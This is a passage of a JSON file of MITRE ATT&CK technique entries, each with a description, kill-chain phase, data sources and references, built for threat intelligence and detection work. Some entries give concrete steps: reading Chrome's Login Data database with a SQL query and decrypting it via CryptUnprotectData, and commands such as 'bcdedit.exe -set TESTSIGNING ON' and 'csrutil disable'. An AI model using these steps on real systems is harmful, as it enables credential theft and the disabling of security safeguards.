"description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).",
"meta": {
"external_id": "T1555.003",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Process: OS API Execution",
"Process: Process Access"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1555/003",
"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
"https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata",
"https://github.com/putterpanda/mimikittenz",
"https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html",
"https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign"
]
},
"related": [
{
"dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0",
"type": "subtechnique-of"
}
],
"uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
"value": "Credentials from Web Browsers - T1555.003"
},
{
"description": "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)",
"meta": {
"external_id": "T1553.006",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1553/006",
"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
"https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection",
"https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN",
"https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test",
"https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option",
"https://github.com/hfiref0x/TDL",
"https://unit42.paloaltonetworks.com/acidbox-rare-malware/",
"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html"
]
},
"related": [
{
"dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7",
"type": "subtechnique-of"
}
],
"uuid": "565275d5-fcc3-4b66-b4e7-928e4cac6b8c",
"value": "Code Signing Policy Modification - T1553.006"
},
{
"description": "Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.",
"meta": {
"external_id": "T1546.004",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1546/004",
"https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/",
"https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html",
"https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a",
"https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js",
"https://objective-see.com/blog/blog_0x48.html",
"https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5",
"https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/",
"https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/",
"https://wiki.archlinux.org/index.php/Bash#Invocation",
"https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect",
"https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat",
"https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/"
]
},
"related": [
{
"dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
"type": "subtechnique-of"
}
],
"uuid": "b63a34e8-0a61-4c97-a23b-bf8a2ed812e2",
"value": "Unix Shell Configuration Modification - T1546.004"
},
{
"description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)",
"meta": {
"external_id": "T1548.004",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1548/004",
"https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg",
"https://objective-see.com/blog/blog_0x2A.html",
"https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8",
"https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/"
]
},
"related": [
{
"dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b",
"type": "subtechnique-of"
}
],
"uuid": "b84903f0-c7d5-435d-a69e-de47cc3578c0",
"value": "Elevated Execution with Prompt - T1548.004"
},
{
"description": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.",
"meta": {
"external_id": "T1499.004",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Sensor Health: Host Status"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1499/004",
"https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html"
]
},
"related": [
{
"dest-uuid": "c675646d-e204-4aa8-978d-e3d6d65885c4",
"type": "subtechnique-of"
}
],
"uuid": "2bee5ffb-7a7a-4119-b1f2-158151b19ac0",
"value": "Application or System Exploitation - T1499.004"
},
{
"description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) \n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Since macOS Catalina 10.15, kernel extensions have been deprecated on macOS systems.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)",
"meta": {
"external_id": "T1547.006",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Kernel: Kernel Module Load"
],
"mitre_platforms": [
"macOS",
"Linux"
],
"refs": [
"http://tldp.org/HOWTO/Module-HOWTO/x197.html",
"http://www.megasecurity.org/papers/Rootkits.pdf",
"http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html",
"https://attack.mitre.org/techniques/T1547/006",
"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/",
"https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf",
"https://developer.apple.com/support/kernel-extensions/",
"https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux",
"https://github.com/f0rb1dd3n/Reptile",
"https://github.com/m0nad/Diamorphine",
"https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/",
"https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/",
"https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/",
"https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html",
"https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/",
"https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/",
"https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"related": [
{
"dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
"type": "subtechnique-of"
}
],
"uuid": "a1b52199-c8c5-438a-9ded-656f1d0888c6",
"value": "Kernel Modules and Extensions - T1547.006"
},
{
"description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll.(Citation: malware_hides_service)",
"meta": {
"external_id": "CAPEC-478",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"Service: Service Metadata",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1574/011",
"https://capec.mitre.org/data/definitions/478.html",
"https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
"https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree",
"https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN",
"https://itm4n.github.io/windows-registry-rpceptmapper-eop/",
"https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html",
"https://twitter.com/r0wdy_/status/936365549553991680",
"https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/",
"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost"
]
},
"related": [
{
"dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
"type": "subtechnique-of"
}
],
"uuid": "17cc750b-e95b-4d7d-9dde-49e0de24148c",
"value": "Services Registry Permissions Weakness - T1574.011"
},
{
"description": "Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. \n\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. ",
"meta": {
"external_id": "T1546.015",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"Module: Module Load",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1546/015",
"https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence",
"https://msdn.microsoft.com/library/ms694363.aspx",
"https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"
]
},
"related": [
{
"dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
"type": "subtechnique-of"
}
],
"uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
"value": "Component Object Model Hijacking - T1546.015"
},
{
"description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)",
"meta": {
"external_id": "T1140",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Modification",
"Process: Process Creation",
"Script: Script Execution"
],
"mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1140",
"https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/",
"https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/",
"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
]
},
"uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
"value": "Deobfuscate/Decode Files or Information - T1140"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1251).\n\nFor a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)",
"meta": {
"external_id": "T1251",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1251"
]
},
"uuid": "46017368-6e09-412b-a29c-385be201cc03",
"value": "Obtain domain/IP registration information - T1251"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1228).\n\nLeadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)",
"meta": {
"external_id": "T1228",
"kill_chain": [
"mitre-pre-attack:priority-definition-planning"
],
"refs": [
"https://attack.mitre.org/techniques/T1228"
]
},
"uuid": "a86a21a4-6304-4df3-aa6d-08114c47d48f",
"value": "Assign KITs/KIQs into categories - T1228"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1235).\n\nAnalysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)",
"meta": {
"external_id": "T1235",
"kill_chain": [
"mitre-pre-attack:priority-definition-planning"
],
"refs": [
"https://attack.mitre.org/techniques/T1235"
]
},
"uuid": "7863b7f1-c18a-4aad-a6cf-4aa6d8797531",
"value": "Receive operator KITs/KIQs tasking - T1235"
},
{
"description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.",
"meta": {
"external_id": "T1030",
"kill_chain": [
"mitre-attack:exfiltration"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1030"
]
},
"uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd",
"value": "Data Transfer Size Limits - T1030"
},
{
"description": "Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n",
"meta": {
"external_id": "T1005",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Script: Script Execution"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1005"
]
},
"uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
"value": "Data from Local System - T1005"
},
{
"description": "Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*.\n\nThese actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.",
"meta": {
"external_id": "CAPEC-93",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Deletion",
"File: File Metadata",
"File: File Modification",
"Network Traffic: Network Traffic Content",
"Process: OS API Execution",
"Process: Process Creation",
"User Account: User Account Authentication",
"Windows Registry: Windows Registry Key Deletion",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1070",
"https://capec.mitre.org/data/definitions/93.html"
]
},
"uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
"value": "Indicator Removal on Host - T1070"
},
{
"description": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.",
"meta": {
"external_id": "T1041",
"kill_chain": [
"mitre-attack:exfiltration"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1041"
]
},
"uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
"value": "Exfiltration Over C2 Channel - T1041"
},
{
"description": "Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.",
"meta": {
"external_id": "T1210",
"kill_chain": [
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1210",
"https://nvd.nist.gov/vuln/detail/CVE-2014-7169",
"https://nvd.nist.gov/vuln/detail/CVE-2016-6662",
"https://nvd.nist.gov/vuln/detail/CVE-2017-0176",
"https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/"
]
},
"uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82",
"value": "Exploitation of Remote Services - T1210"
},
{
"description": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ",
"meta": {
"external_id": "CAPEC-309",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation",
"Script: Script Execution"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1016",
"https://capec.mitre.org/data/definitions/309.html"
]
},
"uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
"value": "System Network Configuration Discovery - T1016"
},
{
"description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.",
"meta": {
"external_id": "T1091",
"kill_chain": [
"mitre-attack:lateral-movement",
"mitre-attack:initial-access"
],
"mitre_data_sources": [
"Drive: Drive Creation",
"File: File Access",
"File: File Creation",
"Process: Process Creation"
],
